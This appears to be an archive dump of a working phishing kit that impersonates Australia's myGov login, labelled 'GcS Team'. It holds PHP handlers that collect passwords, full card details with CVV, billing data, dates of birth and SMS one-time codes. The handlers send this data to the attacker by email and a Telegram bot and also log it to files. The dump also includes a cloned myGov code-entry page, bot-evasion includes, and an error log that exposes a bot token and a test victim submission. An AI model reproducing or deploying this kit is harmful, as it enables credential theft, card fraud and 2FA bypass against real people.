$message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n";
$message .= "[+]━━━━【🔑 Account Login 】━━━━[+]\r\n";
$message .= "|Email or Phone      : ".$_SESSION['username']."\r\n";
$message .= "|Password      : ".$_SESSION['password']."\r\n";
$message .= "[+]━━━━【💳 CC INFO】━━━━[+]\r\n";
$message .= "|Card holder      : ".$_SESSION['holder']."\r\n";
$message .= "|[💳 CC Number]      : ".$_SESSION['cardnumber']."\r\n";
$message .= "|[🔄 Expiry Date ]      : ".$_SESSION['expiry']."\r\n";
$message .= "|[🔑 (CVV)]      : ".$_SESSION['cvv']."\r\n";
$message .= "[+]━━━━【🏦 Bank INFO】━━━━[+]\r\n";
$message .= "|Bank Name          : ".$_SESSION['bank_name']."\r\n";
$message .= "|Card Type           : ".$_SESSION['bank_type']."\r\n";
$message .= "|Card Brand          : ".$_SESSION['bank_brand']."\r\n";
$message .= "|Card Country           : ".$_SESSION['bank_country']."\r\n";
$message .= "|Bank Scheme          : ".$_SESSION['bank_scheme']."\r\n";
$message .= "[+]━━━━【[📓] Billing INFO】━━━━[+]\r\n";
$message .= "|First name          : ".$_SESSION['firstname']."\r\n";
$message .= "|Last name          : ".$_SESSION['lastname']."\r\n";
$message .= "|Address 1 [📓]          : ".$_SESSION['address1']."\r\n";
$message .= "|Address 2 [📓]          : ".$_SESSION['address2']."\r\n";
$message .= "|City 🌃           : ".$_SESSION['city']."\r\n";
$message .= "|State 🌃           : ".$_SESSION['state']."\r\n";
$message .= "|Zip code 🌃          : ".$_SESSION['zipcode']."\r\n";
$message .= "|Phone number 📞           : ".$_SESSION['phonee']."\r\n";
$message .= "|Date of birthday 🎂        : ".$_SESSION['birthday']."\r\n";
$message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n";
$message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as;
$message .= "UserAgent  :  ".$_SERVER['HTTP_USER_AGENT']."\n";
$message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\n";
$_SESSION['messag'] = $message;
mail($send,$subject,$message,$headers);
file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" );
$myfile = fopen("Mygov_Rzlt.txt", "a+");
$txt = $message;
fwrite($myfile, $txt);
fclose($myfile);

HEADER("Location: ../loading.php");


?>

mygov/app/rez/sendsms1.php000064400000007222151676702570011556 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../../anti/anti1.php";
include "../../anti/anti2.php"; 
include "../../anti/anti3.php"; 
include "../../anti/anti4.php"; 
include "../../anti/anti5.php"; 
include "../../anti/anti7.php";
include '../../email.php';
$ip = getenv("REMOTE_ADDR");
$link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ;
$message = "[link: $link ]\r\n";


$_SESSION['otpanswer0'] = $_POST['otpanswer0'];


$file = fopen("Mygov.txt","a");
fwrite($file,$ip."  -  ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n");


$IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip));
$COUNTRY = $IP_LOOKUP->country . "\r\n";
$countryCode = $IP_LOOKUP->countryCode. "\r\n";
$regionName    = $IP_LOOKUP->regionName . "\r\n";
$lat    = $IP_LOOKUP->lat . "\r\n";
$lon    = $IP_LOOKUP->long . "\r\n";
$timezone    = $IP_LOOKUP->timezone . "\r\n";
$isp    = $IP_LOOKUP->isp . "\r\n";
$as    = $IP_LOOKUP->as . "\r\n";
$CITY    = $IP_LOOKUP->city . "\r\n";
$REGION  = $IP_LOOKUP->region . "\r\n";
$STATE   = $IP_LOOKUP->regionName . "\r\n";
$ZIPCODE = $IP_LOOKUP->zip . "\r\n";


$ip = $_SERVER['REMOTE_ADDR'];
$hostname = gethostbyaddr($ip);
$subject = "🇩🇿🇩🇿 Mygov 🇩🇿🇩🇿 $ip";
$headers = "From: GcS-Team<info@GcsTeam.com>";
$send = $email; 


$message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n";
$message .= "|SMS 1      : ".$_SESSION['otpanswer0']."\r\n";
$message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n";
$message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as;
$message .= "UserAgent  :  ".$_SERVER['HTTP_USER_AGENT']."\n";
$message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\n";
mail($send,$subject,$message,$headers);
file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" );
$myfile = fopen("Mygov.txt", "a+");
$txt = $message;
fwrite($myfile, $txt);
fclose($myfile);

HEADER("Location: ../smserror.php");


?>

mygov/app/rez/sendsms2.php000064400000007225151676702570011562 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../../anti/anti1.php";
include "../../anti/anti2.php"; 
include "../../anti/anti3.php"; 
include "../../anti/anti4.php"; 
include "../../anti/anti5.php"; 
include "../../anti/anti7.php";
include '../../email.php';
$ip = getenv("REMOTE_ADDR");
$link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ;
$message = "[link: $link ]\r\n";


$_SESSION['otpanswer1'] = $_POST['otpanswer1'];



$file = fopen("Mygov.txt","a");
fwrite($file,$ip."  -  ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n");


$IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip));
$COUNTRY = $IP_LOOKUP->country . "\r\n";
$countryCode = $IP_LOOKUP->countryCode. "\r\n";
$regionName    = $IP_LOOKUP->regionName . "\r\n";
$lat    = $IP_LOOKUP->lat . "\r\n";
$lon    = $IP_LOOKUP->long . "\r\n";
$timezone    = $IP_LOOKUP->timezone . "\r\n";
$isp    = $IP_LOOKUP->isp . "\r\n";
$as    = $IP_LOOKUP->as . "\r\n";
$CITY    = $IP_LOOKUP->city . "\r\n";
$REGION  = $IP_LOOKUP->region . "\r\n";
$STATE   = $IP_LOOKUP->regionName . "\r\n";
$ZIPCODE = $IP_LOOKUP->zip . "\r\n";


$ip = $_SERVER['REMOTE_ADDR'];
$hostname = gethostbyaddr($ip);
$subject = "🇩🇿🇩🇿 Mygov 🇩🇿🇩🇿 $ip";
$headers = "From: GcS-Team<info@GcsTeam.com>";
$send = $email; 


$message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n";
$message .= "|SMS 2      : ".$_SESSION['otpanswer1']."\r\n";
$message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n";
$message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as;
$message .= "UserAgent  :  ".$_SERVER['HTTP_USER_AGENT']."\n";
$message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\n";
mail($send,$subject,$message,$headers);
file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" );
$myfile = fopen("Mygov.txt", "a+");
$txt = $message;
fwrite($myfile, $txt);
fclose($myfile);

HEADER("Location: ../smserror2.php");


?>

mygov/app/rez/sendsms3.php000064400000007227151676702570011565 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../../anti/anti1.php";
include "../../anti/anti2.php"; 
include "../../anti/anti3.php"; 
include "../../anti/anti4.php"; 
include "../../anti/anti5.php"; 
include "../../anti/anti7.php";
include '../../email.php';
$ip = getenv("REMOTE_ADDR");
$link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ;
$message = "[link: $link ]\r\n";


$_SESSION['otpanswer2'] = $_POST['otpanswer2'];



$file = fopen("Mygov.txt","a");
fwrite($file,$ip."  -  ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n");


$IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip));
$COUNTRY = $IP_LOOKUP->country . "\r\n";
$countryCode = $IP_LOOKUP->countryCode. "\r\n";
$regionName    = $IP_LOOKUP->regionName . "\r\n";
$lat    = $IP_LOOKUP->lat . "\r\n";
$lon    = $IP_LOOKUP->long . "\r\n";
$timezone    = $IP_LOOKUP->timezone . "\r\n";
$isp    = $IP_LOOKUP->isp . "\r\n";
$as    = $IP_LOOKUP->as . "\r\n";
$CITY    = $IP_LOOKUP->city . "\r\n";
$REGION  = $IP_LOOKUP->region . "\r\n";
$STATE   = $IP_LOOKUP->regionName . "\r\n";
$ZIPCODE = $IP_LOOKUP->zip . "\r\n";


$ip = $_SERVER['REMOTE_ADDR'];
$hostname = gethostbyaddr($ip);
$subject = "🇩🇿🇩🇿 Mygov 🇩🇿🇩🇿 $ip";
$headers = "From: GcS-Team<info@GcsTeam.com>";
$send = $email; 


$message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n";
$message .= "|SMS 3      : ".$_SESSION['otpanswer2']."\r\n";
$message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n";
$message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as;
$message .= "UserAgent  :  ".$_SERVER['HTTP_USER_AGENT']."\n";
$message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\n";
mail($send,$subject,$message,$headers);
file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" );
$myfile = fopen("Mygov.txt", "a+");
$txt = $message;
fwrite($myfile, $txt);
fclose($myfile);

HEADER("Location: https://my.gov.au/");


?>

mygov/app/rez/error_log000064400000006536151676702570011234 0ustar00[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "country" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 41
[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "countryCode" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 42
[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "regionName" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 43
[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "lat" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 44
[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "long" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 45
[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "timezone" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 46
[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "isp" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 47
[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "as" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 48
[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "city" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 49
[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "region" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 50
[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "regionName" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 51
[13-Sep-2025 00:30:02 UTC] PHP Warning:  Attempt to read property "zip" on null in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 52
[13-Sep-2025 00:30:02 UTC] PHP Warning:  file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 70
[13-Sep-2025 00:30:02 UTC] PHP Warning:  file_get_contents(https://api.telegram.org/bot8375706559:AAFREIgFRwIAKaE6mHUh3jUkrzoYZ9-k0b0/sendMessage?chat_id=-4866103043&amp;text=%5BGcS+Team%F0%9F%87%A9%F0%9F%87%BF%5D%5B%2B%5D%E2%94%81%E2%94%81%E2%94%81%E2%94%81%E3%80%90%F0%9F%87%A6%F0%9F%87%BA+Mygov+Logs+%F0%9F%87%A6%F0%9F%87%BA%E3%80%91%E2%94%81%E2%94%81%E2%94%81%E2%94%81%5B%2B%5D%5BGcS+Team%F0%9F%87%A9%F0%9F%87%BF%5D%0D%0A%7CEmail+or+Phone++++++%3A+jhhjh%40aol.com%0D%0A%7CPassword++++++++%3A+hghggfh%0D%0A%5B%2B%5D%E2%94%81%E2%94%81%E2%94%81%E2%94%81%E3%80%90%F0%9F%92%BB+System+INFO%E3%80%91%E2%94%81%E2%94%81%E2%94%81%E2%94%81%5B%2B%5D%0D%0A105.72.213.126%0ACountry+%3A+%0D%0ACity%3A+%0D%0ARegion+%3A+%0D%0AState%3A+%0D%0AZip+%3A+%0D%0Acountry+code%3A+%0D%0Alat%3A+%0D%0Alon%3A+%0D%0Atimezone%3A+%0D%0Aisp%3A+%0D%0Aas%3A+%0D%0AUserAgent++%3A++Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F140.0.0.0+Safari%2F537.36%0A%5BGcS+Team%F0%9F%87%A9%F0%9F%87%BF%5D%5B%2B%5D%E2%94%81%E2%94%81%E2%94%81%E2%94%81%E3%80%90%F0%9F%87%A6%F0%9F%87%BA+Mygov+Logs+%F0%9F%87%A6%F0%9F%87%BA%E3%80%91%E2%94%81%E2%94%81%E2%94%81%E2%94%81%5B%2B%5D%5BGcS+Team%F0%9F%87%A9%F0%9F%87%BF%5D%0A): Failed to open stream: no suitable wrapper could be found in /home/emeraadmin/public_html/dist/mygov/app/rez/send.php on line 70
mygov/app/sms.html000064400000015633151676702570010205 0ustar00<!DOCTYPE html>
<!-- saved from url=(0054)https://login.my.gov.au/las/mygov-login?execution=e1s2 -->
<html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<!--
E: PROD; 
C: MW0w; 
N: MW0w16; 
S: SW16c;  
-->
	
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<title>
		Enter code - myGov
	</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- phone number format detection, turning it off -->
	<meta name="format-detection" content="telephone=no">
	<script type="text/javascript" src="./sms_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1840293467|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png">
  	<link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png">
	<link href="./sms_files/css" rel="stylesheet">
	<link href="./sms_files/mgv2-application.css" rel="stylesheet">
	<link href="./sms_files/blugov.css" rel="stylesheet">
</head>

<body><noscript>
	<div class="outage">
		<div class="outage__inner">
			<div>
				<span class="is-visuallyhidden"> Warning message: </span>
				<p> JavaScript is required for myGov to work correctly.</p>
			</div>
		</div>
	</div>
</noscript>




	
		
	
	





<nav class="uikit-skip-link" aria-label="Skip Links">
	<a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a>
</nav>

<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
	<section class="wrapper">
		<div class="inner">
			<div class="unauth-grid">
				<div class="unauth-grid-row">
					<a href="https://beta.my.gov.au/" class="unauth-govt-crest__link">
					    <img id="unauth-govt-crest" src="./sms_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img">
                    </a>

					<div class="header-links">
						<a href="https://beta.my.gov.au/en/about/help">Help</a>
					</div>
				</div>
			</div>
		</div>
	</section>
</header>





	

<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
	

	<h1>Enter code</h1>
	<p>We sent a code by SMS to your mobile number<span> XXXX&nbsp;XXX&nbsp;694</span>.</p>
	<form id="otp-entry-form" action="https://login.my.gov.au/las/mygov-login?execution=e1s2" method="post" autocomplete="off">
			<div class="code-container hasError">
				<label for="otpanswer">Code
					<input id="otpanswer" name="otpanswer" type="tel" class="security-code" data-number-mobile-input="data-number-mobile-input" autocomplete="off" aria-errormessage="otpanswer__form-helper-message" aria-invalid="true">
				</label>
			<span class="form-helper-message hasError" role="alert" aria-live="assertive" id="otpanswer__form-helper-message">Enter the 6 digit code we sent to your mobile number</span></div>
			
			
       			
       			
					<div class="help-info-group">
						<a href="javascript:void(0)" class="help-info" aria-controls="security-codes-info" aria-expanded="false" data-infotext-toggle="data-infotext-toggle">
							I didn't get my code<span class="is-visuallyhidden"> Help </span> </a>
					</div>
					
						
							<div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true">
								<p>
									You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in.
								</p>
								<p>
									If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account.
								</p>
								<a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&amp;_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a>

							</div>
						
						
					
				
			
			
			
			<div class="button-container">    			
    			<button type="submit" class="button-main button" name="_eventId_submitOtp">Next</button>
    			<button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button>
			</div>

		
			<input type="hidden" name="accountRecovery" value="true">
			<input type="hidden" name="authtype" value="otp">
			 
			<input type="hidden" name="_resetMobileEligible" value="">
			<input type="hidden" name="_fallback" value=""> 
			<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">	
		<div>
<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">
</div></form>
	
</div></div>
	
	




<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">

        <section class="footer-list">
            <nav>
            <h2 class="sr-only" aria-label="Footer">Footer</h2>
            <ul class="lower-links">
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a>
                </li>
            </ul>
            </nav>
        </section>
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://beta.my.gov.au/">
                  <img src="./sms_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img">
              </a>
              </section>

              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>




      </div>
    </div>
  </footer>


<script type="text/javascript" src="./sms_files/mgv2-vendor.js.download"></script>
<script type="text/javascript" src="./sms_files/mgv2-application.js.download"></script>
<script type="text/javascript" src="./sms_files/login.js.download"></script>
<div id="artifact-metadata">
	
</div>



</body></html>mygov/app/sms.php000064400000020441151676702570010021 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
